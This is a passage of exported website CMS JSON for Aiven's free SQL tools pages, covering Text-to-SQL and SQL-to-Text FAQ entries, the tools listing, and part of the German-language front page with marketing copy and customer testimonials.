FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"dbfffd07a2f8","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"acab2a227612","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Looking for an easy way to generate complex SQL queries from english text, for free? Aiven Text to SQL will help you do just that.","metaImage":{"_type":"mainImage","alt":"Text-to-SQL AI Converter. Use Aiven's ai feature to generate an optimized sql query from a text prompt","asset":{"_ref":"image-4f3d3d0d241d91b45f3e8ff330efa48ccf7da472-1200x630-jpg","_type":"reference"}},"metaTitle":"Text to SQL for free | English to SQL | AI to SQL"},"slug":{"_type":"slug","current":"/tools/text-to-sql"},"tags":[{"_key":"ee7adc21e871","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"211762f37c4c","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Text to SQL"} {"__i18n_lang":"en","_createdAt":"2024-11-11T09:48:07Z","_id":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_rev":"1rO0ipfFxAOuS00jqaTaRo","_type":"page","_updatedAt":"2024-11-12T14:08:07Z","content":[{"_key":"fdf389b94c9c","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"d201b1426959","_type":"accordionItem","panelText":[{"_key":"945b6175ca14","_type":"block","children":[{"_key":"2fcbe2afe8110","_type":"span","marks":[],"text":"Aiven’s SQL-to-Text AI Converter is a utility tool that transforms SQL queries into human-readable text. It takes complex SQL statements and converts them into a more readable and understandable format."}],"markDefs":[],"style":"normal"}],"title":"What is SQL-to-Text AI Converter?"},{"_key":"72510d19fe10","_type":"accordionItem","panelText":[{"_key":"6c36853359bd","_type":"block","children":[{"_key":"02374a5a2cfc0","_type":"span","marks":[],"text":"Yes, it's 100% free."}],"markDefs":[],"style":"normal"}],"title":"Is SQL-to-Text AI Converter free?"},{"_key":"11ca5d9f5eda","_type":"accordionItem","panelText":[{"_key":"b7c9e824ea30","_type":"block","children":[{"_key":"649d446f68740","_type":"span","marks":[],"text":"Converting SQL to text offers various advantages. It improves readability, making SQL queries easier to understand for developers, non-technical stakeholders, and when documenting code. It also promotes collaboration, as anyone can read and interpret the queries, even if they are not familiar with SQL. Additionally, it helps in creating clear and comprehensive documentation for future reference and sharing knowledge."}],"markDefs":[],"style":"normal"}],"title":"Why would I need to transform SQL to Text?"},{"_key":"a552fa281011","_type":"accordionItem","panelText":[{"_key":"21e1f6d6f74d","_type":"block","children":[{"_key":"b8b253bd1a830","_type":"span","marks":[],"text":"Aiven’s SQL-to-Text AI Converter uses AI to analyze the parts of the query and to understand its goal. It breaks down the query into meaningful components, such as SELECT, FROM, WHERE clauses, and transforms them into a human-readable format. The resulting text representation provides a clear understanding of the query's intent."}],"markDefs":[],"style":"normal"}],"title":"How does SQL-to-Text AI Converter work?"},{"_key":"249d0f6b83a8","_type":"accordionItem","panelText":[{"_key":"07c5c0297d9e","_type":"block","children":[{"_key":"c6ad80bca74a0","_type":"span","marks":[],"text":"Yes, Aiven’s SQL-to-Text AI Converter is designed to handle complex SQL queries efficiently. Whether your queries involve multiple JOINs, subqueries, nested conditions, or advanced functions, the tool can accurately transform them into readable text."}],"markDefs":[],"style":"normal"}],"title":"Can SQL-to-Text AI Converter handle complex SQL queries?"},{"_key":"ffb138952338","_type":"accordionItem","panelText":[{"_key":"90a686b0427e","_type":"block","children":[{"_key":"4758a6e575650","_type":"span","marks":[],"text":"Yes, Aiven’s SQL-to-Text AI Converter takes the security and privacy of user data very seriously. We are not storing the queries provided by you."}],"markDefs":[],"style":"normal"}],"title":"Is my data secure when using SQL-to-Text AI Converter?"},{"_key":"4d2d74919f12","_type":"accordionItem","panelText":[{"_key":"14bd77aa918e","_type":"block","children":[{"_key":"b1c0641774b40","_type":"span","marks":[],"text":"SQL-to-Text AI Converter explains SQL queries in plain English."}],"markDefs":[],"style":"normal"}],"title":"Which language does it translate the SQL to?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"SQL-to-Text FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"1a97f6c70001","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"e8ff0a1b2479","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Translate what a complex SQL query does in plain english. Aiven's SQL-to-Text AI Converter automatically describes what your SQL query does for free.","metaImage":{"_type":"mainImage","alt":"SQL-to-Text ai converter. use Aiven's AI SQL-to-Text converter to turn complex SQL queries into simple English","asset":{"_ref":"image-11ebb8c48a18a497cf9bd2143e994c05c14118b4-1200x630-png","_type":"reference"}},"metaTitle":"SQL to text for free | Explain SQL In Simple English"},"slug":{"_type":"slug","current":"/tools/sql-to-text"},"tags":[{"_key":"f221defe64db","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"ab88a5229886","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"SQL to Text"} {"__i18n_lang":"en","_createdAt":"2024-11-11T09:48:46Z","_id":"fae73ef3-8a98-4b39-96d3-33f1a3894e58","_rev":"y6qAFx3KEt65PvSAG6Jz0L","_type":"page","_updatedAt":"2024-12-26T18:39:06Z","content":[{"_key":"ea576f087017","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"32a5c3de07b0","_type":"block","children":[{"_key":"873335af57c20","_type":"span","marks":[],"text":"Boost your SQL productivity with our free tools. Optimize queries, auto-format code, check for errors, and seamlessly convert between SQL and text. More time-saving tools coming soon!"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","title":"Free tools","titleMultiColor":false,"topOverlap":false,"variant":"compact","videoHosting":"youtube"},{"_key":"e7a94ca58b01e046fc6c046f21d1086e","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"c512db394adf","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"Optimize SQL"},"image":{"_type":"mainImage","asset":{"_ref":"image-7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630-jpg","_type":"reference"}},"variant":"default"},{"_key":"40d43679d580","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"b5993f84-5248-49e7-8e75-c6be58365e05","_type":"reference"},"title":"Run PostgreSQL query"},"image":{"_type":"mainImage","asset":{"_ref":"image-25114174008b1111f5ce2173d0213783635e3f8a-1200x630-png","_type":"reference"}},"variant":"default"},{"_key":"a9010fed4397bbfa8fbd8d494dbad3f0","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"Beautify SQL"},"image":{"_type":"mainImage","asset":{"_ref":"image-b3474d8cccc63c5a16f4355a144993546b6e973e-1200x630-jpg","_type":"reference"}},"variant":"default"},{"_key":"8f6c1d8c9769cc69b482e3f20b9bb6c7","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"Validate SQL"},"image":{"_type":"mainImage","asset":{"_ref":"image-3144f0ba67a6ee869e8a72dcf5a56ff9123db405-1200x630-jpg","_type":"reference"}},"variant":"default"},{"_key":"28043afc29960084598164f8f9aa5def","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Convert text to SQL"},"image":{"_type":"mainImage","asset":{"_ref":"image-4f3d3d0d241d91b45f3e8ff330efa48ccf7da472-1200x630-jpg","_type":"reference"}},"variant":"default"},{"_key":"918de4e0be7fcf88716793f8e7202f13","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"Convert SQL to text"},"image":{"_type":"mainImage","asset":{"_ref":"image-00cb75b4853ce1c4ebd33dc1143a53afdfbb6977-1200x630-png","_type":"reference"}},"variant":"default"},{"_key":"21325369cd45","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"Minify SQL"},"image":{"_type":"mainImage","asset":{"_ref":"image-7ec2a2cf87b57be7445c2d474bb767a85c46b2e0-1200x630-png","_type":"reference"}},"variant":"default"},{"_key":"a7c30d7882ef","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"ef7f96df-2537-47e8-a265-ad228e47b83e","_type":"reference"},"title":"Compare SQL"},"image":{"_type":"mainImage","alt":"SQL Compare tool. Visually compare and merge the differences between two SQL queries","asset":{"_ref":"image-ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c-1200x630-png","_type":"reference"}},"variant":"default"},{"_key":"181af55dc895","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"7a9fc322-051d-49da-8532-073b48611e2d","_type":"reference"},"title":"Compare instances"},"image":{"_type":"mainImage","asset":{"_ref":"image-a21759c3f16d8a9990d4474fdd02268c3a13f571-1200x630-png","_type":"reference"}},"variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"3cfe7a3261dd","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"909728ea8d4b","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://plugins.jetbrains.com/plugin/17399-sql-optimizer-sql-formatter-sql-indexing-postgresql-and-mysql","title":"Get from JetBrains plug-in"},"image":{"_type":"mainImage","alt":"Copyright © 2024 JetBrains s.r.o. JetBrains and the JetBrains logo are trademarks of JetBrains s.r.o.","asset":{"_ref":"image-0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64-svg","_type":"reference"}},"subtitle":[{"_key":"867b8913618e","_type":"block","children":[{"_key":"6d95fe4575080","_type":"span","marks":[],"text":"Optimize \u0026 format any SQL query directly from DataGrip, IntelliJ and other JetBrains IDEs."}],"markDefs":[],"style":"normal"}],"title":"JetBrains","variant":"icon-card"},{"_key":"4f31608ef288fab789e053d08550ee92","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://marketplace.visualstudio.com/items?itemName=Aiven.aiven-sql-optimizer-extension","title":"Get from Microsoft marketplace"},"image":{"_type":"mainImage","asset":{"_ref":"image-1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100-svg","_type":"reference"}},"subtitle":[{"_key":"478e4973dea5","_type":"block","children":[{"_key":"fc9b61e2d1b30","_type":"span","marks":[],"text":"Optimize \u0026 format any SQL query directly from Visual Studio Code."}],"markDefs":[],"style":"normal"}],"title":"Visual Studio Code","variant":"icon-card"},{"_key":"467e07bb6ed61836386a22216ebe651e","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/tools/sql-optimizer-for-cursor-installation-guide","internalLink":{"_ref":"13b27dd5-ebf7-4520-a96e-31b9e6e9512c","_type":"reference"},"title":"Get installation instructions"},"image":{"_type":"mainImage","asset":{"_ref":"image-5eec0dff36c4040d5691662cb9f337e7e8876a32-180x180-png","_type":"reference"}},"subtitle":[{"_key":"478e4973dea5","_type":"block","children":[{"_key":"fc9b61e2d1b30","_type":"span","marks":[],"text":"Optimize \u0026 format any SQL query directly from Cursor."}],"markDefs":[],"style":"normal"}],"title":"Cursor","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Optimize SQL from your favorite IDE","topOverlap":false}],"seo":{"_type":"metaData","metaDescription":"Streamline your SQL tasks with our free tools. Optimize queries, format code, check for errors, and convert between SQL and text. Simplify your workflow now!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-52d7646db76c4bbfd216315505aba2eeb73088df-1200x630-jpg","_type":"reference"}},"metaTitle":"Free Tools | Optimize and Automate"},"slug":{"_type":"slug","current":"/tools"},"title":"Tools"} {"__i18n_base":{"_ref":"frontpage","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-04-04T02:41:12Z","_id":"frontpage__i18n_de","_rev":"tW1iVB3M02HkZ9xlNEbnKt","_type":"page","_updatedAt":"2025-01-08T15:07:14Z","content":[{"_key":"8seyzcosjssvfuqqkzrowikwmmj0y0sf","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselItems":[{"_key":"7ft3nnz7284ay5wils4emb5tz2sqk9od","_type":"captionImage","caption":[{"_key":"x06ms4aul004ypp04xh5blhhxs6clybe","_type":"block","children":[{"_key":"6jmax66i126an6b3ufc8nonk4yvbz80e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h4"}],"image":{"_type":"mainImage","alt":"Aiven Console","asset":{"_ref":"image-e532c7ca34da3022ec33daf66e6567aa05f2dec6-2713x1772-png","_type":"reference"}}},{"_key":"j23lxjij1w442wzuiiqdbzyc3dwp1pvz","_type":"captionImage","caption":[{"_key":"bffhntfs5m40j8sc1ggi0tzfleae1yyj","_type":"block","children":[{"_key":"wamaeiwdvp2a7uh8rejwsm8vdjxmqz2r","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h4"}],"image":{"_type":"mainImage","alt":"Aiven Infrastructure diagram","asset":{"_ref":"image-707fba71a49c8da1cc71711af0e6a7e0663d7a1a-1466x766-png","_type":"reference"}}}],"carouselSyncTitleItems":[{"_key":"1lc4njbnhp4y5g4xh9tznpwqgbd92xhf","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"Streaming"},{"_key":"4vqlzuci3s0yumfm00sxeo8x8y63npo7","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"Database Optimization"},{"_key":"slwlx46zbyaz4u9lnk4bnagl47sgutdy","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"AI Applications"}],"darkTheme":true,"disabled":false,"fullWidth":true,"headline":[{"_key":"6kmj5mo7fmw7425uxxa4ecn0zdomxzla","_type":"block","children":[{"_key":"3nmzh0po98teqxsixploh5y6or3bbl8u","_type":"span","marks":[],"text":"Die "},{"_key":"ed4c1c59dff2","_type":"span","marks":["color-primary"],"text":"Daten \u0026 KI"},{"_key":"95d1d4f7be49","_type":"span","marks":[],"text":" Plattform Ihres Vertrauens"}],"markDefs":[],"style":"h1"},{"_key":"848b9a01a919","_type":"block","children":[{"_key":"a9a100b040940","_type":"span","marks":[],"text":"Streaming | Datenbankoptimierung | Analytics | Suche | Data Warehousing | In-Memory Caching"}],"markDefs":[],"style":"normal"},{"_key":"rgi31zph4in255z96wwlbmwl1squvrdm","_type":"block","children":[{"_key":"nv4it9oczz5sbh4o9qc9e6tx1zjxg2vi","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"jdfgh3vyh1p35u7xpxpng5vvmbxv0uvh","_type":"block","children":[{"_key":"cv7shfq5voq7hw71sqjwvoh2vgqlb3y5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"hideHostProviderTitle":false,"hostProviders":[{"_key":"7a1a1a7448a2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"81fdf256a683","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"c1c500612f93","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"31735b987fac","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"a0c076204367","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Kostenlos starten"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Demo buchen"},"title":"Your Trusted Data \u0026 AI Platform","titleMultiColor":true,"variant":"default"},{"_key":"zj7h3ykbwsts17969mpalrqb7n3sgcyg","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_de","_type":"reference"},"title":"Mehr über die Aiven-Plattform erfahren"},"roundedCorners":"rounded-none","subtitle":[{"_key":"1066df380f32","_type":"block","children":[{"_key":"c3338f953f090","_type":"span","marks":[],"text":"Aiven ist eine vielseitige Plattform, die Ihnen eine KI-gesteuerte Workload-Optimierung und die Kontrolle über Ihre Daten ermöglicht. Mit nur wenigen Klicks können Sie gängige Technologien über mehrere Clouds hinweg einsetzen, um Ihre Daten zu streamen, zu speichern und bereitzustellen."}],"markDefs":[],"style":"normal"}],"title":"Eine gemeinsame Plattform zum Streamen, Speichern und Bereitstellen von Daten in jeder Cloud","topOverlap":false,"variant":"centerColumn"},{"_key":"fpcnbfwkafy7qvrdvy2zq0ww9xrl9ka9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"right bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"a3qaglhglghnmxn2bfyzuogau76qrahy","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2vy2d5jk4fmqlsuho7uoxdsx7wn0l8w1","_type":"block","children":[{"_key":"0cnm95ax8plh6rnc22tbdb59hb5b996k","_type":"span","marks":[],"text":"Fachliche Expertise wird oft nicht vollständig genutzt, da in der Praxis die Verwaltung der Dateninfrastruktur und andere Aufgaben mit geringem Mehrwert zuviel Zeit einnehmen. Dadurch das Aiven gängige offene Technologien einsetzt, die bei Bedarf mit einer gemeinsamen API in allen Clouds genutzt werden können, wird es jedoch wieder möglich, Expertise an anderen Stellen einzusetzen."}],"markDefs":[],"style":"normal"}],"title":"Fachliche Expertise für Innovation und Mehrwert einsetzen","variant":"icon-card"},{"_key":"ogc1pgb0rw0sa24e43xfcuxnrwyt67j0","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"k2zw24smgps46nbkm0x02rjpi9to3dfs","_type":"block","children":[{"_key":"w03k0uf48tvuk3lvwwsh5a54ewj5iruc","_type":"span","marks":[],"text":"Cloud-Kosten, auch wenn sie nach Aufwand bezahlt werden, sind oft bis nach Beendigung der Dienstleistung schwer vorhersehbar. Aiven bietet Ihnen transparente und vorhersehbare Preise, um Überraschungen zu vermeiden und Ihre Gesamtausgaben zu reduzieren. Aiven kann auch in Ihrer bestehenden AWS-, Google- oder Azure-Cloud eingesetzt werden, um von Ihren ausgehandelten Rabatten zu profitieren."}],"markDefs":[],"style":"normal"}],"title":"Cloud-Kosten optimieren","variant":"icon-card"},{"_key":"4uycdcj2am1os99r97ovxjulu0burhwb","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"hq5hf7rkjpyrmpjnpdnquyftpjlx6qdl","_type":"block","children":[{"_key":"zeepewcsfpzpltfu11iokgkzstotjpow","_type":"span","marks":[],"text":"Mit Aiven können Sie Unternehmensrichtlinien einmalig auf Ihre gesamte Dateninfrastruktur anwenden. Aiven bietet End-to-End-Sicherheit mit dedizierten virtuellen Maschinen, Verschlüsselung bei der Übertragung und im Ruhezustand, automatische Sicherheitsupdates und vieles mehr. Unsere Services sind ISO 27000-konform und erfüllen die Anforderungen der GDPR, CCPA, HIPAA und PCI-DSS."}],"markDefs":[],"style":"normal"}],"title":"Sicherheits- und Konformitätsregeln einhalten","variant":"icon-card"},{"_key":"iopkevxie4asjud0p78i2wkc6rbpa3fe","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"neck29e5ipufjtwvy7iu8ggpbi5q91yu","_type":"block","children":[{"_key":"ckkghtm8xs8cnne9iozs8nhofcs2yfu1","_type":"span","marks":[],"text":"Die Verwaltung der Dateninfrastruktur kann die Entwicklungszyklen von Anwendungen verzögern. Aiven stellt Ihre Dateninfrastruktur in jeder Cloud mit nur wenigen Klicks bereit, um die Geschwindigkeit Ihrer Initiativen zu erhöhen. Aiven bietet außerdem KI-gesteuerte, umsetzbare Einblicke, um die Codierung zu beschleunigen, Arbeitslasten zu optimieren und die Problemlösungszeit zu reduzieren."}],"markDefs":[],"style":"normal"}],"title":"Anwendungsentwicklung beschleunigen","variant":"icon-card"},{"_key":"c3nu3zvnxc37rao0lz5tl1lggow8y47i","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"no11q9sr9ofujq8awe8d6j178bnw8jqc","_type":"block","children":[{"_key":"yytyx0qolbpj8ewek198q2ki9u51jmwf","_type":"span","marks":[],"text":"Eine Vielzahl an Anbietern und Tools führt zu einer höheren Komplexität und einem größeren Betriebsrisiko. Aiven bietet Ihnen eine bessere Kontrolle über die Verwaltung Ihrer Dateninfrastruktur, indem Sicherheit, Verwaltung, Beobachtbarkeit und Visualisierung über eine einzige, einheitliche Plattform standardisiert werden."}],"markDefs":[],"style":"normal"}],"title":"Konsolidierung der Daten-Infrastruktur","variant":"icon-card"},{"_key":"mab7y8tcp9wk8t0qbkdvv6t0mqiflp87","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"248b7ef13a9f","_type":"block","children":[{"_key":"bec47f37d37c","_type":"span","marks":[],"text":"Sollten Sie aus irgendeinem Grund Unterstützung benötigen, ist Aiven für Sie da. Wir bieten Ihnen Expertendienste, die Sie auf Ihrem Weg begleiten, sowie Supportstufen, die den strengsten Unternehmensanforderungen in Bezug auf Best Practices, technische Qualität und schnelle Problemlösung entsprechen."}],"markDefs":[],"style":"normal"}],"title":"Weltklasse-Service und -Support","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Kostenlos starten"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Kontaktieren Sie unsere Experten"}},{"_key":"5cd53420fe0c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-7f2829964f60c531513a4a9c7bcfc461bf3ba604-5000x2625-jpg","_type":"reference"}},"imagePosition":"center","mediaWidth":"w-full","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","title":"Mehr erfahren "},"roundedCorners":"rounded-tl","text":[{"_key":"e4fdc5370aaf","_type":"block","children":[{"_key":"55eb01d4a3710","_type":"span","marks":[],"text":"Beheben Sie Performance-Probleme von PostgreSQL®- und MySQL-Datenbanken in Sekundenschnelle, erhalten Sie sofortige Optimierungsempfehlungen und senken Sie Ihre Datenbankkosten.\n\nPowered by EverSQL von Aiven."}],"markDefs":[],"style":"normal"}],"title":"Datenbank-Workloads mit KI optimieren","topOverlap":false,"variant":"mediaLeft"},{"_key":"agywbvhdsmcvmm53d8dirldw8wfdfksn","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"qllw5q9ub9ihmy0zeyvh8b4smlzhsf47","_type":"tabItem","content":[{"_key":"iwxdiywzep70h3te5ehqv1v5vllfv70k","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"h3ig9jnl1qsirzkbcy9kpr0j8egdz284","_type":"testimonialItem","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"content":[{"_key":"7ba18cce4093","_type":"block","children":[{"_key":"d30c4a8bc4de0","_type":"span","marks":[],"text":"Einer der Hauptgründe, warum wir uns für Aiven entschieden haben und nicht für andere Lösungen, war, dass Aiven uns ermöglicht, die Dienste in unserer eigenen Cloud und in unserer eigenen Infrastruktur zu betreiben."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Erfahrungsbericht lesen "},"jobTitle":"CTO, Supermetrics","name":"Duleepa \"Dups\" Wijayawardhana","ytId":"oQIjSwWxE14"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"supermetrics","image":{"_type":"mainImage","asset":{"_ref":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_type":"reference"}},"imageHeight":30,"title":"Supermetrics"},{"_key":"v7jmtosa34ptzd2qkv20o4hywy955ut0","_type":"tabItem","content":[{"_key":"481vii30eqt2a8oi5mbqzk366wggalle","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"623129753fb8","_type":"testimonialItem","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"48aa94e34666","_type":"block","children":[{"_key":"01fc78e9a7d7","_type":"span","marks":[],"text":"Wir brauchten eine Lösung, die uns nicht einschränkt, und die Cloud-Agnostik von Aiven hat uns genau das ermöglicht. Wenn ein Cloud-Anbieter in einem bestimmten Gebiet nicht verfügbar war, konnten wir einfach mit einem Klick wechseln – ein großer Vorteil für unser Geschäft."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"title":"Erfahrungsbericht 